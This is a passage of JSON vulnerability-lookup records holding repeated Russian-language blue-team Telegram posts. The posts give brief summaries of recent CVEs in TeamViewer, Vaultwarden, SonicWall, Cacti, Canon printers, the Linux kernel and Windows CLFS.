\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u043b\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\ud83d\udd35CVE-2025-0065 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 TeamViewer, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u0430\u044f \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0435\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 TeamViewer_service.exe. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \n\n\ud83d\udd35CVE Pending (CVSS 7.1), CVE-2025-24364 \u0438 CVE-2025-24365 \u2014 \u0442\u0440\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 opensource \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 Vaultwarden. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0430\u043d\u0435\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 Vaultwarden, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:14.173509Z"}, {"uuid": "cbb99720-0675-49d4-bf60-0484099eae52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://t.me/purp_sec/212", "content": "\u041f\u043e\u0441\u043c\u0435\u044f\u043b\u0438\u0441\u044c \u043d\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 DeepSeek \u0438 \u0445\u0432\u0430\u0442\u0438\u0442. \u041f\u043e\u0440\u0430 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u043a \u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0432\u0435\u0449\u0430\u043c \u0438 \u0440\u0430\u0431\u043e\u0442\u0435, \u0434\u0430, @Pr0xProw?\n\n\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f.\n\n\ud83d\udd35CVE-2024-48841, CVE-2024-48849, and CVE-2024-48852 \u2014 \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445 FLXeon, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE-\u0430\u0442\u0430\u043a\u0435, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd35CVE-2024\u201354887 \u2014 \u043e\u0431\u0437\u043e\u0440 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430) \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0435 \u0422\u0420-Link \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b dnsserver1 \u0438 dnsserver2 \u0432 \u0444\u0430\u0439\u043b\u0435 /userRpm/Wan6to4TunnelCfgRpm.htm. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\ud83d\udd35CVE-2024-53704 \u2014 \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 SonicOS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 SSLVPN \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438.\n\n\ud83d\udd35CVE-2025-23006 \u2014 \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443 SonicWall, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b. \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0448\u043b\u044e\u0437\u044b Secure Mobile Access (SMA) 1000 \u0438 Central Management Console (CMC). \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u0442\u044c RCE-\u0430\u0442\u0430\u043a\u0443.\n\n\ud83d\udd35CVE-2025-22604 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cacti, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 ss_net_snmp_disk_io() \u0438\u043b\u0438 ss_net_snmp_disk_bytes() \u0432 SNMP. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 RCE-\u0430\u0442\u0430\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 SNMP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c\u0438 OID.\n\n\ud83d\udd35CVE-2024-12647, CVE-2024-12648 \u0438 CVE-2024-12649 \u2014 \u0432\u0441\u0435 \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Canon \u0438 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043d\u0430 CVSS 9,8. \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0438\u0437-\u0437\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u0445: \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 CPCA, \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0442\u0435\u0433\u043e\u0432 EXIF \u0432 TIFF \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 \u0432 XPS.\n\n\ud83d\udd35CVE-2024-56614 \u0438 CVE-2024-56615 \u2014 \u0434\u0432\u0435 \u043d\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 eBPF. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u043f\u0440\u0430\u0432\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c DoS-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35CVE-2024-49138 \u2014 \u0447\u0430\u0441\u0442\u044c 1 \u0438 \u0447\u0430\u0441\u0442\u044c 2. \u0410\u043d\u0430\u043b\u0438\u0437 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 Windows CLFS.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:14.473605Z"}, {"uuid": "69fc561c-4eac-4384-9859-2534d887ef64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://t.me/purp_sec/212", "content": "\u041f\u043e\u0441\u043c\u0435\u044f\u043b\u0438\u0441\u044c \u043d\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 DeepSeek \u0438 \u0445\u0432\u0430\u0442\u0438\u0442. \u041f\u043e\u0440\u0430 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u043a \u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0432\u0435\u0449\u0430\u043c \u0438 \u0440\u0430\u0431\u043e\u0442\u0435, \u0434\u0430, @Pr0xProw?\n\n\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f.\n\n\ud83d\udd35CVE-2024-48841, CVE-2024-48849, and CVE-2024-48852 \u2014 \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445 FLXeon, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE-\u0430\u0442\u0430\u043a\u0435, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd35CVE-2024\u201354887 \u2014 \u043e\u0431\u0437\u043e\u0440 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430) \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0435 \u0422\u0420-Link \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b dnsserver1 \u0438 dnsserver2 \u0432 \u0444\u0430\u0439\u043b\u0435 /userRpm/Wan6to4TunnelCfgRpm.htm. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\ud83d\udd35CVE-2024-53704 \u2014 \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 SonicOS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 SSLVPN \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438.\n\n\ud83d\udd35CVE-2025-23006 \u2014 \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443 SonicWall, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b. \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0448\u043b\u044e\u0437\u044b Secure Mobile Access (SMA) 1000 \u0438 Central Management Console (CMC). \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u0442\u044c RCE-\u0430\u0442\u0430\u043a\u0443.\n\n\ud83d\udd35CVE-2025-22604 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cacti, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 ss_net_snmp_disk_io() \u0438\u043b\u0438 ss_net_snmp_disk_bytes() \u0432 SNMP. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 RCE-\u0430\u0442\u0430\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 SNMP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c\u0438 OID.\n\n\ud83d\udd35CVE-2024-12647, CVE-2024-12648 \u0438 CVE-2024-12649 \u2014 \u0432\u0441\u0435 \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Canon \u0438 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043d\u0430 CVSS 9,8. \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0438\u0437-\u0437\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u0445: \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 CPCA, \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0442\u0435\u0433\u043e\u0432 EXIF \u0432 TIFF \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 \u0432 XPS.\n\n\ud83d\udd35CVE-2024-56614 \u0438 CVE-2024-56615 \u2014 \u0434\u0432\u0435 \u043d\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 eBPF. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u043f\u0440\u0430\u0432\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c DoS-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35CVE-2024-49138 \u2014 \u0447\u0430\u0441\u0442\u044c 1 \u0438 \u0447\u0430\u0441\u0442\u044c 2. \u0410\u043d\u0430\u043b\u0438\u0437 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 Windows CLFS.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:14.575660Z"}, {"uuid": "c0016138-5445-4fb8-965f-777043390e18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://t.me/purp_sec/212", "content": "\u041f\u043e\u0441\u043c\u0435\u044f\u043b\u0438\u0441\u044c \u043d\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 DeepSeek \u0438 \u0445\u0432\u0430\u0442\u0438\u0442. \u041f\u043e\u0440\u0430 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u043a \u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0432\u0435\u0449\u0430\u043c \u0438 \u0440\u0430\u0431\u043e\u0442\u0435, \u0434\u0430, @Pr0xProw?\n\n\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f.\n\n\ud83d\udd35CVE-2024-48841, CVE-2024-48849, and CVE-2024-48852 \u2014 \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445 FLXeon, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE-\u0430\u0442\u0430\u043a\u0435, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd35CVE-2024\u201354887 \u2014 \u043e\u0431\u0437\u043e\u0440 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430) \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0435 \u0422\u0420-Link \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b dnsserver1 \u0438 dnsserver2 \u0432 \u0444\u0430\u0439\u043b\u0435 /userRpm/Wan6to4TunnelCfgRpm.htm. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\ud83d\udd35CVE-2024-53704 \u2014 \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 SonicOS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 SSLVPN \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438.\n\n\ud83d\udd35CVE-2025-23006 \u2014 \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443 SonicWall, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b. \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0448\u043b\u044e\u0437\u044b Secure Mobile Access (SMA) 1000 \u0438 Central Management Console (CMC). \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 